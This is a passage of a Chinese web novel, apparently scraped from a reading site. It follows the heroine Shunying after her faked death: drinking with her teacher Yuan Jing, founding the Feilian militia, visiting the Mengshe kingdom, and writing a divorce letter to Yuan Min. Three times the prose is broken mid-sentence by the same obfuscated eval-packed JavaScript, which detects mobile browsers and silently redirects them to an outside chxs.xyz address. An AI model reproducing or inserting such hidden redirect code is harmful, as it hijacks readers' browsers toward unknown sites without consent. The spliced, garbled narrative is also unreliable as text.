最后,她抱着自己幼时的旧衣旧鞋,蜷缩在床上疲惫地睡去。 二十多年的一幕幕,在梦里走马灯似的转,她也在梦中哭了笑、笑了哭。 “二十几年无微不至的照拂,二十几年如同亲母女的情份,你告诉我那都是假的、假的!” “全都是假的……” 后来,她想通了。 她走进宝慈宫,见到冯姮面带微笑注视着三个孩子,心里踏实了。天无二日,一位新王安能同时供奉两宫辅政太后,三家后族? 她对自己说,冯姮已经培养出一代明主,也能培养出下一代明主,他们兄妹身为先王嫡子女,跟着祖母、远比跟着她这个母亲成长得更好。 反正她本就时日无多,正好冯姮也想让她死,那她就去死吧。 一个忠烈的身后名,是她唯一能留给他们兄妹和褚氏家族的庇护。 于是,她将那几道罢黜圣旨交给承陵,叮嘱他让褚氏逐渐退出中枢。安排好一切后,她来到宝慈宫,屏退所有宫人和护卫,屈膝下拜。 “妾与先王膝下两子一女,有劳母后与母妃了。” 冯姮沉默良久出声:“阿英,可想好了?” 她站起身,看向北风萧索的门外,声音轻柔而决绝,一字一字道。 “我意已决,血债血偿!” 血债血偿,有一个是一个,能不放过就绝不放过。 宣氏叛臣,冯栩、元昙,苻洵,以及——自己。 十月初八,昇阳城西褚宅,她一边喝酒一边说:“师父,对不起,此行凶险,我也许不能替你养老了。” 元璟:“说得像我缺人伺候一样,不过是盼着你多来转转,陪我说说话。” 默了半晌又说:“好好回来,莫要让我白发人送黑发人。” 她心里涌出一点温暖和安慰——还好,这师徒情分不是假的。 但她没有说话,只将五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14806726|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指张开覆在眼前,视野时而清晰时而模糊,这些天流水似的补药吃下去,身子依然虚得一阵风就能吹倒。 快毒发身亡了吧。 没有任何不甘与痛苦,只有解脱……这颠沛流离、心力交瘁的一生,终于可以结束了。 回到闺阁,从多宝阁抽出一方细长木盒,用小刀撬开锁,白色缎面垫层上,静静躺着一把银白弯刀、一条皎洁长鞭、以及一个小巧的红色瓷瓶。 她恍惚想起,瓷瓶里的毒药叫“相思”,相思本就是剧毒。 爱过的人离心离德,想爱的人成为宿敌,实在无人可相思。 但她还是将瓷瓶收入袖中,权当领受了那人的相思,临终之前她想任性一回,揣着这些温暖去赴死、不至于太过孤单。 . “阿洵,谢谢你愿意为我离家去国,可我们这一生错得太多,早已面目全非、回不了头。” “你杀了我的君父,我只能杀了你。” 殒星崖顶,舜英紧紧抱住苻洵。双眼已不能视物,于是她佯作亲昵、贴耳听声寻到他心脏的位置。然后,拔出他赠给自己的那柄“纤云”,调转刀尖,用力刺入他后背,捅穿他身躯再从前胸刺出,一路狠狠刺进自己胸口。 她曾无数次期许这样抱着他,如今,终于得偿所愿。 尽管这拥抱如此疼痛。 苻洵问:“你就这样恨我,不惜自戕也想要杀了我?” 她弯了弯唇角,眼尾溢出两滴温热:“不,我从未恨过你,从始至终,我恨的只有自己。” 我从未恨过你,你杀元旻是为兄为国,从你的立场无可指摘。 我恨的是那个间接害死君父的自己,那个身居高位受万民供奉、心性却不够坚定的自己,那个一边杀伐一边为每场战争痛苦的自己。 我恨的,是那个君父被害,却仍对害他之人心存爱慕的——自己。 舜英定了定心神,屏息忍着剧痛,用尽全身力气,拔出、刺入、拔出、再刺入……每一刀都捅穿了他的身躯,深深捅进自己五脏六腑,将他们钉在一起。 郎琊匆匆赶来,震惊得半晌才挤出那句话:“褚娘子,主子炼成了金蝉,本想今晚就开始替你拔毒。” 她再也刺不下去,松开手里的刀,看着苻洵胸口那团浮动的金光,看着他满身是血却依然生机尚存,心底蓦然涌出一丝侥幸和欣慰——她已竭尽全力,只是刺杀失败。 旋即,她拼着最后一口气、跌跌撞撞冲出白袍卫的包围,冲到殒星崖边缘,一跃而下。 世间安得双全法,不负家国不负卿? 她做到了。 . “吾平生只欠一死,可勿葬,弃诸沟壑,示天下后世为臣而不死国者。” 光洁的玉版宣,簪花小体被摩挲太多次,字迹已然模糊。元璟看了一阵,泪意模糊了双眼,他赶紧将信纸叠好放入信函,放到装着羊脂玉碎片的沉香木匣旁边。 “你们母女好生相伴,以免泉下孤单。” 走出小祠堂,门外细雨绵绵,银亮雨丝穿梭在梧桐枝叶间,簌簌细响,像是无数逝去的亲人朋友在耳边呢喃。 已是五月中旬,阊江的梅雨时节。 他撑着油纸伞走向前院,小厮赶紧去侧门吩咐套车,驱赶马车小碎步赶到正门。大门口坐着两尊汉白玉雕刻的狻猊,小厮见元璟正转过影壁,忙小跑过去替他撑伞。 出门时,门房正在驱赶坐在狻猊下的人。 那是个二十出头的青年男子,眉清目秀、穿一身月白直裰,瞧着蛮好看的一个人,却在狻猊踩着的门墩下、朝门内蜷缩着,像是被抽去脊骨一般、窝窝囊囊一团,浑身淋得湿透也无知无觉。 元璟脚步蓦然一顿,侧头向那人瞥了一眼,然后神色如常地淡淡开口。 “梅雨天一个人喝酒太闷,这位小兄弟相逢即是有缘,拿套干衣服给他换上,随我出去喝酒。” 163. 释怀 元璟与青年男子乘车前往飞花楼,分花拂柳走进最隐秘的小院,反身闩上院门的瞬间,元璟看着青年男子,眼圈一红险些落泪:“给我跪下。” 原本站得笔直的青年男子,膝盖一软就跪下了。 正是乔装易容后的舜英。 新制的青梅酒,口感薄、甜、酸,舜英浅酌一小口,就酸得落下眼泪。 元璟将酒杯举到唇边,却不饮,只目不转睛反复打量着她,半晌之后悠悠道:“苻洵待你挺不错的。” 舜英呛得直咳嗽:“师父怎么知道?” “猜的”,元璟掀了掀眼皮,慢悠悠喝着温好的酒,“结果一诈就出来了。” 又淡淡说:“以他的性子,被刺杀还能让你好端端活到现在,你这几年肯定过得挺滋润。” 舜英心念一动,诧异地问:“他的性子?师父跟他很熟?” “打过交道,不太熟”,元璟轻轻笑起来,自斟自饮,“有点像登基前的昭王,至情至性,爱之欲其生,恶之欲其死。” 舜英心想,其实他更像你,潇洒不羁、不甚在意名利,知情知趣又知冷知热。 元璟注视着她:“阿英,你的性子也有几分像崔师姐,可喜苻洵从未想过坐上王位。” 舜英撇撇嘴:“他那个性子,散漫惯了,当不了。” 元璟苦笑着摇头:“昭王即位前也是个散漫性子,若他如今尚在,定会后悔写的圣旨是赐婚而非敕封公主,唉——” 舜英心乱如麻,连喝三杯酒,幽幽地问:“我至今仍想不清楚,两小无猜的两个人,最后怎么全都走到那步田地?” 元璟喟然长叹:“当年冯太后嫁过来之前,崔师姐决议和离,大哥拼死不放手。他们父子都一个样,什么都好、就是贪心。明明当了君王,却偏要贪恋一人痴心,这也想要、那也舍不得放。” 到最后,两情相悦的因三宫六院反目成仇,空置六宫的因陈年往事耿耿于怀。 孤家寡人的宿命。 . 元璟活得越久、越位高权重,能聊天的人也越少。一对上爱徒,再几两薄酒下肚、喝得微醺,比以往更健谈。 “你啊你,就是犟!在外边过得好好的,还回来干什么?” 舜英笑了笑:“回来看看师父和……他们,看看南翊变成什么样了。” 元璟嗤笑:“他们有什么好看的?早迫不及待替你盖棺定论了,你若此时贸然露头,有一个是一个,巴不得马上帮你体面!” 舜英替他斟满酒杯,又给自己倒了一杯:“这些我都知道,可我不是被风吹到这么大的,吃的是景和宫的粟米、喝的是兴庆宫的水、听的是宫学的教诲。” “那些都过去了!过去了!你为他们做得还不够多么?”元璟压低声音愤然道,“你早为他们死过好几次了,若没有苻洵,你这条命恐怕早不在了。什么养育之恩、夫妻情分,早还清了!放过你自己吧!” “不止是这几个,师父,这是我的故国啊,我曾是他们的王后,受他们锦衣玉食的供养”,舜英摇摇头,酒味太酸、激得她落下泪来,“可我把一切搞砸了,杀了那么多人,战火却越烧越旺,还烧到了本土。” 元璟嘿嘿冷笑:“战火一旦点燃,怎么发展、根本不可能受任何一方控制。近的,看看滬国怎么灭亡的?远的,从古到今那些名将圣主,谁能真正控制战争的走向?” 舜英嚎啕大哭:“可我没有尽力而为。我早就感觉元昙不对劲,却没有继续查,还有阿……苻洵,我要当初不在蛮疆口无遮拦、暴露陛下的志向,他不会那么早下毒。陛下不早逝,翊东三十五城不会丢,我把一切搞砸了!” “够了,你以为你是谁?”元璟气血上涌,声音陡然高了几度,“当年浮玉宫跟景和宫那些恩怨,你查不查都明摆着。就算你不跟苻洵说那些,明眼人谁看不出来?翊国养着那么多强兵壮马,不为四处征伐、养着好看吗?” 舜英抽抽噎噎:“可国土丢了,我过不了自己。” “你丢的?好大口气”,元璟叹了口气,“丢了又怎样?说句难听话,只要新国君善待百姓,除了王室和世家大族,谁会在意君主是谁?你招安滬南一趟真是白跑了!” 舜英哭得更伤心:“可我还喜欢敌国将领,我叛国了。” “这两国闹了好几百年,中原诸国内战、又不是异族,你也没战时卖国,算什么叛国?”元璟愤怒起来,勃然低斥,“你以为自己是谁?在国与国的恩怨面前、国君的野心抱负面前,你什么都不算!充其量是一把刀!” 舜英身躯一震,难以置信地反问:“刀?” 元璟冷笑:“不然呢,担着王后的名分,还真把自己当执刀人了?” 舜英呆了许久,不知所措,只反复喃喃着“只是刀?” 元璟泪眼模糊看着她:“阿英,天塌不下来,你这条命已经殉了一次国,好不容易捡回来,要好好顾惜……就算不为自己,也为救你活过来的那人。” 舜英垂下眼眸,不禁抚摸颈上的银丝绳,和离已快半年,她仍然随身戴着蝴蝶祥云银锁,似乎它已是身体的一部分。 元璟潸然泪下、醉话连篇:“阿英啊,做人要拎得清,恩是恩怨是怨,无论前因如何,只要对咱有恩,咱就得认。什么都是要付出代价的,救人也一样。当时都以为你必死无疑,他救活你不知付出了什么代价。” “喜欢他也没什么,他不也喜欢你吗?死过一次的人了,怎么就不能放过自己?” 舜英扶着他去隔间休息时,他依然口齿不清地喃喃呓语,泪水涟涟,翻来覆去却只那一句。 “阿英,放过自己……” . “主子,咱们的人亲眼瞧见夫人跟在襄国公身后,进了桐花别苑。”郎琊沉声禀报。 “知道了,愿赌服输,何况这也不算输”,苻洵语气平静,“她好好活着,比什么都重要。” 郎琊又将一封信递给苻洵:“韦娘子说,女公子年岁大了,不能没有女性长辈教导。女公子跟花姨娘不亲,不如就在维阳由她照看,等到及笄后若要成婚,再从建业侯府出嫁。” 苻洵展开信笺看了片刻,重重叹了口气,唇角却绽出一丝笑意。 “她们几个倒热乎上了,把我一个人孤零零撇在这儿。” 那天,舜英在沧浪墅醒来后,与韦秋屏聊了半宿,说的最多的是苻忆和苻阐。她惜才,苻忆读书的天分颇高,又爱钻研学问,平庸些的师父教不了。 “何况,阿忆跟阿洵这层关系割不断,若不寻个安全地方藏起来,难免有人从中作梗。” 关键时候还得靠元璟的人脉,请来的人令她大跌眼镜,居然正是四年前从碧宁书院辞职的教习,大儒曲雍和。 兜兜转转,还是他们有师徒缘分。 至于住址,定在燮陵乡下一处田庄,不止丫鬟嬷嬷一应俱全,还有几名武艺高强的女子看家护宅,韦秋屏抱着无功不受禄的心态,诚惶诚恐问主家是谁。 舜英露出俏皮的笑:“你就踏踏实实住着,她有钱得很,到处都是产业,说是这个庄子送我了。” 韦秋屏知道舜英很有能耐,也不再多推拒,大部分时间在田庄照顾苻忆,每月只抽几天时间去维阳收账。 苻忆已从最开始的崩溃中恢复过来,逐渐接受有两个娘亲的事实,反倒觉得双倍快乐。 . “列祖列宗在上,不肖子孙苻洵,因一己私仇引异族入侵,祸延中原、罪孽深重。请王兄允臣弟将功折罪,重授臣弟威远将军之职,扼西羌诸国,与北翊交相策应、御北宛狼骑,护北疆之安宁。” 奉宁王宫,苻氏宗庙内,苻洵一身素服,撩袍长跪。 苻沣将边垣之盟的玉板重新封入玉匣之中,继后元晴接过玉匣, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14811054|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毕恭毕敬奉上高位。 “允,重授苻洵威远将军、龙骧军骠骑将军之职,节制北卢、郅阳、英平三郡骑兵。” 苻洵点燃三炷香,苻沣立即紧张地盯着他,幸好他并未像以前那样直接用嘴吹,而是轻缓晃动几下,待火苗熄灭、再端端正正插进香炉。 苻沣如释重负,松了口气。 “这男人啊,还是得成家”,继后凉飕飕瞟了他一眼,直接越过他们兄弟、走出了宗庙,“成一次婚,媳妇儿跑了,人看着都沉稳不少。” 苻洵诧异道:“我没看错吧,嫂子她……刚才笑了一下。” “没看错,她以前挺爱笑的”,苻沣凉凉道,“只是不想对你笑。” 苻洵摇摇头:“不是这个,我是说她出去游历一圈回来,整个人活泛不少,什么地方这么好?” 苻沣蹙眉思索半晌:“好像是什么西陵古国旧址,还有新建成的蒙舍王城。” . “苻洵都不回去了,你还去蛮疆做什么?”晨练之后,元璟边走边问。 舜英递给他一张丝帕,又取出另一张自己揩汗:“师父,你这段时间跟我喝酒,说的那些话很有用。” 元璟愣了愣,诧异道:“我说了那么多话,你听的哪句?” “你给我讲了当年在灵昌,阿洵和永平王的一些旧事,你还让我放过自己”,舜英娓娓道,“你还说,恩是恩怨是怨,无论前因如何,只要对咱有恩,咱就得认!” 元璟愕然睁大双眼:“你是不是误解什么了?如果前些年你想和苻洵在一起,我豁出这条命也逼着庄王废后。可现在你和他隔了人命,我怎么支持?” “你还有那本事逼他废后?”舜英笑着摇摇头,转了话题,“明天承祎巡幸宛陵养马场,冯太后确定不去?” 元璟笃定地说:“她有别的事,不过伴驾的侍卫随从里,依附冯氏的肯定不少。” 舜英点点头:“只要她不去,问题不大,多在脸上画一画,冯氏的人除了冯广年,别的都对我不熟。” 元璟叹了口气:“见亲儿子都这么藏头露尾……几年不见,你确定不跟他说说话?” 舜英笑了笑:“何尝不想?可事到如今,只有褚舜英这个身份死了,对他们兄妹三人、对姨母他们,才是最好的保护。” 顿了顿,又说:“我不会抛下他们不管。” 元璟眉峰一蹙:“你要作甚?” 舜英悠悠目视远方,眼神逐渐变冷:“孙子与儿子不同,自古以来,没几个人拥有过权力后,舍得拱手相让。” 元璟心神巨震,惊惧地看向她,默了半晌才轻轻叹了口气:“你还是放不下,也罢,届时我就拼着这把老骨头,再奔走一回。” 舜英微笑摇头:“应该不至如此,冯太后的性情我还算了解。” “你了解个鬼”,元璟愤愤道,“自己都着了她的道!” 舜英:“不就是一点旧物,几炉熏香么?” 元璟惊讶地睁大双眼;“你知道还……” 舜英的笑容风轻云淡:“因为当时,我若不那样做,过不了自己。” 想了想又说:“姨母那边我就不去了,冯太后顶多是压制他们,正中我下怀。冯太后比我们更清楚,异族出身决定她无法临朝称制,还政给承祎是迟早的事。就冲这个,她不会真对褚氏把事做绝,我掺合进去反倒碍事。” “当了几年王后,脑子的确好多了”,元璟欣然颔首,赞许道,“庄王作夫婿如何不好说,作国君倒是无懈可击。” 两人边走边说笑,一直走到书房,屋子正中放着一口箱子,装满银砖和提花彩缎。 元璟伸头一瞥,被那白花花的银砖晃了眼,满脸糟心地嘀咕:“谁教你这么……直白地送礼的?” 舜英抬头看向西北,目光越过长流川、木城群山,穿透梨花林,笑了:“一位故人。” 164. 新生 “徒儿有一事相求。” 舜英在书案侧边坐下,挽袖研墨,铺陈纸笔,思忖片刻后,写下第一列字——“褚舜英谨立放夫书”。 “先别写,等等……”元璟两眼一黑,扶额道,“这玩意儿,就算我肯代亲长签字,你要把它交给谁?冯太后?” 舜英似笑非笑瞥了他一眼:“我拿去阳华山王陵烧给他。” 元璟气得打跌:“你这张嘴!跟谁学的?” 又恨恨道:“与你说了半天,白说了,你跟苻洵之间隔着人命!人命懂吗?” 舜英平静地说:“首先,就算没有阿洵,这和离书也迟早要写。既已不适合作夫妻,不如放过彼此。” 元璟叹气:“你现在是独身,爱找谁当情郎随你。可庄王已殉国,还得被你从坟里揪出来和离,是不是不太厚道?” 舜英运笔如飞:“其二,阿洵之前欠了几笔死账,可我最近找到债主了,又恰好有能力还这些债。现在我正在悄悄替他还……师父,你说这和离书还写不写?” 元璟瞳孔急遽收缩,难以置信地看向她:“你是说……” 舜英面色郑重、点了点头。 元璟呆了半晌,猛然上前撇开她,取出一条崭新的桐烟墨,再拆开崭新的眉纹砚,亲手研出一砚池墨,推到那纸和离书旁边。 “用这个写!” . 建宁十二年六月二十,九霄山西麓。 百年古树遮天蔽日、山涧流水淙淙,驱散了夏日暑气。 三十六顶新建好的军帐,散发着清新的木料香气,隐蔽于草木深处。舜英站在半坡的一块大石上,司徒空和谢恬站在略低的缓坡上。 继续往下,草坪上整整齐齐站着三百人,列为方阵,三百双眼睛一瞬不瞬仰望着他们三人。 有男有女、有老有少,有飞廉和隐蝠卫旧部,有司徒空和谢恬的江湖朋友,有退伍的平南军老兵,也有愿意从戎的虎威旧部后人。 谢恬振臂高呼:“我们这支军队叫什么?” 众人齐声回答:“飞廉!” 谢恬继续问:“我们只忠于何人?” 众人齐声高呼:“大翊正统,延光陛下!” 谢恬和司徒空转身,面向站在最高位的舜英,单膝半跪:“禀褚将军,飞廉首批义军已集结完毕,请授剑!” 舜英先朗声道:“请大翊永平陛下亲赐立军软剑,传予飞廉统领谢恬!” 银白如雪的软剑,剑身刻着两个古篆——飞廉。十五年前,永平王元旻在灵昌质子府,将此剑赐予飞廉创建人褚舜英。 舜英将它毕恭毕敬收入鞘中,双手平托走下石块,放到谢恬高举过头顶的双手之上。 旋即,又朗声道:“飞廉前任首领褚舜英之佩刀,传予飞廉副统领司徒空!” 澄明如水的玄铁刀,是她进木城山之前,从秦川随身携带的佩刀中选了一柄,一直用到现在。来河州之前,她在桐花别苑用金刚小刀,一笔一划在刀锷处刻上“飞廉”二字。 她将玄铁刀单手拿起,递到司徒空右手掌心。 谢恬和司徒空回身,同时高举手中的软剑或刀,扬声高喊:“飞廉!” 三百义军齐声高呼:“飞廉!飞廉!” 谢恬和司徒空又扬声高喊:“追随陛下!匡扶正统!” 三百义军齐声高呼:“追随陛下!匡扶正统!” 舜英看着群情汹涌的飞廉众将士,眼前浮现出在白露水榭,她单膝半跪、从元旻手中接过软剑的那一刻。 那年,她刚满十五岁。 十五年光阴,弹指而过。 . 谢恬担心外面找的脚夫嘴不严,亲自安排了四个人帮她抬行李。 “前面就是地瘴线了,这边有大山挡着、又没什么居民,蒙舍国的防守不太严”,舜英说着,从腰间抽出匕首,划破手掌、将血涂抹在脚夫身上,“送君千里终有一别,你们回去吧,好好练兵。” 司徒空道:“首领,那可是十万大山,真不用我们跟着进去?” 舜英笑了笑:“不必,我知道怎么走。” 谢恬笑盈盈地说:“等出了十万大山,咱们多联系。” “等我出了蒙舍国,一定安排人单线联系你们,若有急事,派姑娘去飞花楼”,舜英微笑颔首,“粮草的事不用担心,我出去想办法,三百人不够、我再去别处寻些人来。” 司徒空不断点头:“首领做事一向靠谱,我也不好再多言。只是有一事不明,为何非要去蒙舍王城?” 舜英悠悠看向西方,似笑非笑道:“去求一些办法,此外,算我卑鄙,也想求一个能让我下决心的理由。” 她想知道,相思、独活、金蝉这三者是如何共存于苻洵身上,苻洵为救自己这条命,究竟付出了什么。 碧水河畔,新建成的蒙舍王城,新选的蛮黎三圣。凭借重明鸟后人的身份,她很顺利地进了山门,直接登堂入殿走到蛊王宫。 她这一趟十分幸运,新任蛊王娜莎正是蚩越的关门弟子。 娜莎与她谈了一整天,送她出来时,笑着说:“这里人人都恨诃那,人人都感激诃那。” 舜英苦笑:“我起初听说他为杀掉当年的蛮黎三圣,放蒙舍山火、破地瘴线阵法,真的吓了一跳,不想还有这等内情。” 娜莎轻声道:“你应当了解并信任你的情郎,他不是无故滥杀的神经病。” “了不了解,我说了不算”,舜英叹了口气,“有的人天天看、看了二十多年还是不了解,我再不敢相信倾盖如故。” 娜莎笑了:“所谓不破不立,那年山火之后,新的蒙舍王修改了律法。再有类似的事,他顶多是被废除蛊术清除记忆、再驱逐出境,他们母子的惨剧不会再现。” 蒙舍王宫出口不远处,青石山路旁侧的平台上,那棵笔直的许愿雪松居然还在,又长高了丈许,无数木牌在枝叶间随风晃动。 舜英提踵跃上树梢、循着记忆找到当初那两块,风吹雨打十二年,却未腐朽、就连当初的墨迹仍依稀可辨。 她想了想,摘下自己当初写的那块,加深墨迹、再刮去“阿七”二字,改成“褚舜英”。 ——愿吾主上元旻功业千秋。褚舜英。 重新挂上去时,无意瞥见另一块木牌、挂在她原来位置的旁边,朽烂斑驳程度与他们一致,想来挂上去的时间十分接近。 ——愿姐姐一世福寿康宁。苻洵。 那时的他,连她真实姓名都不知晓,就交托出整颗真心。 最初的三个人,最初的三个心愿,兜兜转转、终究又回到原点。 仰头看了半晌,她不禁笑了,眼眶发热鼻子微酸,又写了一块新的,挂到苻洵的心愿木牌旁边。 ——愿吾挚爱苻洵长乐安宁。褚舜英。 她没有写“长相厮守”这样奢侈的心愿。 所爱隔山海,山海不可平。她唯有伐木造舟、翻山越岭地奔赴,却不知最终能否抵达彼岸。 . 此次进蛮疆用的马匹代步,速度极快,才个把月就已出了深山、抵达西陵对岸。 舜英让那四个脚夫回去找谢恬,自己乘一叶扁舟直达对岸,孤身进入木城群山,对照舆图、循着记忆走到刀片山下,找到了那片熟悉的梨树林。 默默回想良久,她从马背上取出一块地毡,在小径旁的树荫下铺好,怀抱长刀盘腿坐下,闭目养神。 等到太阳西斜时,远处传来渐行渐近的脚步声,紧跟着是愤怒的女声:“你怎么又来了?” 舜英睁开眼睛,抬头看向来者:“我是来找你的,冯梨。” “找谁都不准再来了!”桑珠怒火中烧,跳着脚大喊,忽然反应过来、愣住了,“你刚刚叫我什么?” “你的中原名,冯梨”,舜英慢悠悠站起来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14815308|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弯了弯唇角,“冯延第十七女桑珠,永平五年被冯彬从阿古拉部救回,一直住在冯彬母族哲里木部。” “永平六年冯栩弑兄篡位后,因担忧阏氏孤单烦闷,从哲里木部接回异母妹妹桑珠与之相伴。” 桑珠惊愕半晌,颤抖着指向她:“你查我!” “是真的?”舜英眉眼扬起笑意,“看来我猜对了。” “你果然是褚舜英,当初还跟我装,狡猾的中原女人!”桑珠气得唇角抽搐,拔出弯刀冲过去就要跟她厮打。 舜英等的就是这一刻,稍微侧身避过,攥住她手腕一拧、同时舒臂一捞,将她那柄弯刀握在手中,举到眼前细看。 刀锷处錾刻的花纹已模糊不清,但因为太过熟悉,她仍能辨认出那是三足金乌,金乌足下位置,刻着个古篆体的“六”。 “这把刀,是何时何地,由何人所赠?” 桑珠火冒三丈:“我为什么要告诉你?” 舜英慢吞吞从腰间拔刀:“那咱们先打一架再慢慢说?” “额吉,不能一见面就打架”,叶儿迈着小短腿从梨林跑出来,“书上说要先礼后兵。” 舜英笑容可掬的伸出手,揉了揉叶儿脑袋:“冯叶你听好了,外面这个你该叫姑姑,里面的那个你该叫舅舅。” 桑珠睁大双眼:“你什么都知道?” “叶儿跟他亲爹一个模子刻出来的”,舜英笑意变淡,轻轻叹了口气,“至于那块玉佩,你把字的下半边磨掉也没用。元氏宗亲男佩玦、女佩环,若我没猜错,那个字是‘昙’。” 她闲闲走到桑珠面前:“不如,咱们来聊一聊,你怎么在冯栩眼皮子底下偷天换日,救走冯彬和元昙的孩子?” 桑珠脸上浮现出一丝骄傲:“阏氏第一次发作是虚惊一场,那天之后就悄悄委托我留意周围的死胎,她真正发作的时候,那个死胎就藏在屋后院中,大冬天的不会腐坏,发动时用热水捂一捂就可以。” 舜英想象一下后院冻着死胎的场景,默默打了个寒噤。 桑珠犹自娓娓道:“北宛风俗,女人生孩子男人要避在门外,叶儿是早产、哭了两声就没力,装进食盒从广寒门带出去就成。其实那个死胎比新生儿大不少,但那时候冯栩根本没见过刚出生的孩子。” “敢在冯栩眼皮子底下动手脚,确实很有勇气”,舜英对这个暴脾气的莽撞姑娘刮目相看,“你就不怕被他发现?” 桑珠耸耸肩:“怕啊,怎么不怕?可我这条命是十一哥救的,草原儿女知恩图报,我就该豁出命去保护他儿子。” 舜英不禁莞尔,冯彬温柔善良了一辈子,终究还是收获了善果。果然一饮一啄,莫非前定。 她转过身,开始从马背上卸书籍、笔墨纸砚、玩具:“都是给叶儿的,愣着做什么,快来帮忙。” 叶儿撒腿小跑着搬东西,兴奋得小脸通红,桑珠先是跟着搬了几次,忽然反应过来:“你在命令我做事?” “是央求,央求……”舜英一边哄着她帮忙,一边笑盈盈地问,“喜欢你表哥什么?” 桑珠的脸瞬间红到耳根,愤然跺了跺脚:“当年要不是你善妒,不准他有别的女人,我早就嫁给他了。” 舜英笑不出来了,百口莫辩,不得不感慨,元旻在男女之事上、脑子就跟被驴踢过一样。 酝酿半晌,她脸上浮起淡淡笑容,泰然地说:“我很快就不是他的妻子了。” “你是不是看他重伤,就不想管他了?”桑珠愕然发问,旋即摇了摇头,“不对,当初你为了给她复仇,可是直接杀到柘枝城。” “你是不是以为他有了别的女人,就不想要他了?”她越说越着急,“不是你想的那样,你是他的女人,不能抛弃他。” “我不是谁的女人,我是我自己”,舜英笑了笑,“我不想继续做他妻子,不是因为他做错了什么。他很好,我也很好,我们只是不合适。” 165. 一别两宽 舜英支开叶儿,从包袱里取出三封一模一样的信函,封面正中端正地写着“褚舜英谨立放夫书元旻亲启”。 她先拿出一个锁好的木盒,递给桑珠说:“试着打开它?” 木盒锁扣的位置有几处凹点,桑珠咬牙切齿按了一阵,纹丝不动,急得直接拿刀去撬、又用石头砸。 “嘭”一声巨响,木盒自爆了,烟尘黑灰扑了桑珠满头满脸。 “这种盒子,他知道怎么打开”,舜英拿出一模一样的另一个木盒,放入信笺重新锁好,“若我没猜错,他现在前尘尽忘,但总有一天会想起来,也会知道怎么打开这个盒子。” 她将木盒递给桑珠,郑重道:“他打开这个盒子的时候,我会来到这里,与他办理和离的事。” 桑珠一边擦脸上的黑灰,一边怒道:“传话就传话,给我个空盒子干什么?” “我只是让你知道,如果强行打开,这几封和离书也会被毁”,舜英平静地帮她擦灰,“你别想替他签,他只属于他自己,这个盒子只能由他亲手打开。” 桑珠忐忑地问:“那你还会……” “我又没说不管他了”,舜英含笑看向她,“每年梨花盛开之时,我都会如约将琳琅果送到这里。” 桑珠松了口气。 舜英郑重地躬身,对桑珠长长一揖:“多谢姑娘对陛下照拂多年” 顿了顿,她挑眉露出促狭的笑容:“现在,咱们可以谈谈那柄刀了?” . 目送桑珠捧着木盒消失在梨林深处,舜英返身从行李中取出一块方形白色丝缎、一壶酒、两只酒杯。 晃晃悠悠,在树荫下寻了一方平整的大石,铺上一尘不染的白色丝缎,盘膝坐下,提壶斟两杯酒,自饮一杯、递到空荡荡的对桌一杯。 琥珀色的梨花白,滋味醇厚、入喉灼烈,激得她鼻尖酸楚,她缓缓闭上眼,轻声叙说着那份早已倒背如流的和离书。 “臣女褚舜英,自幼失怙失恃,幸得君家收容,免于颠沛流离、风餐露宿,食以珍馐膏梁、衣以锦绣华服、居以碧瓦朱甍、教以圣哲经学。” 景和宫纷飞的梨花下,年幼的元旻跑前跑后,因她少吃了几顿奶、晚上少睡了两个时辰,急得连夜延请御医。 “有幸蒙君之器重信赖,伴侍东宫、不离左右,同聆太子三师之诲、共研修身齐家之术。” 兴庆宫的书房,不仅有她带去为他解闷的物件,也有他为功课不济的她标注好的勾画圈点,耐心讲解的日日夜夜。 “君为国出质,臣亦感佩君之高义,不计颠沛动荡、同进同退、生死与共,创飞廉、谋归国、举大计、匡正统。聆君之教诲,受君之导引,始见天地高远、众生万千,初悟治国平天下之道。” 起云楼的铮铮誓言,最初的飞廉七星,灵昌宫变互相托付的后背,三江村闲话史书背后的斑斑血泪,大庆门上万众山呼、众星拱辰。 “臣出身低下,承君之厚爱抬举,使臣苟以微芥之身,荣登殿堂,祀圣祖之宗庙,持六宫之中馈。” 她视他如至高至明之日月,敬而重之、远之,他固执地将她扶上尊位,与他一并钉在王座之上、俯瞰这巍峨河山。虽让她心力交瘁,却也有幸站在更高的角度,重新思考何为家国、何为天下、何为苍生。 “盖闻夫妇之礼,是宿世之因,幽怀合卺之欢,欢念同牢之乐。今已不和,乃是结缡初衷之谬错。君以臣为妻,皆因南园之遗爱、故剑之情深;臣以君为夫,俱由济弱之慈念、扶倾之壮志。失之毫厘,终南辕而北辙。” 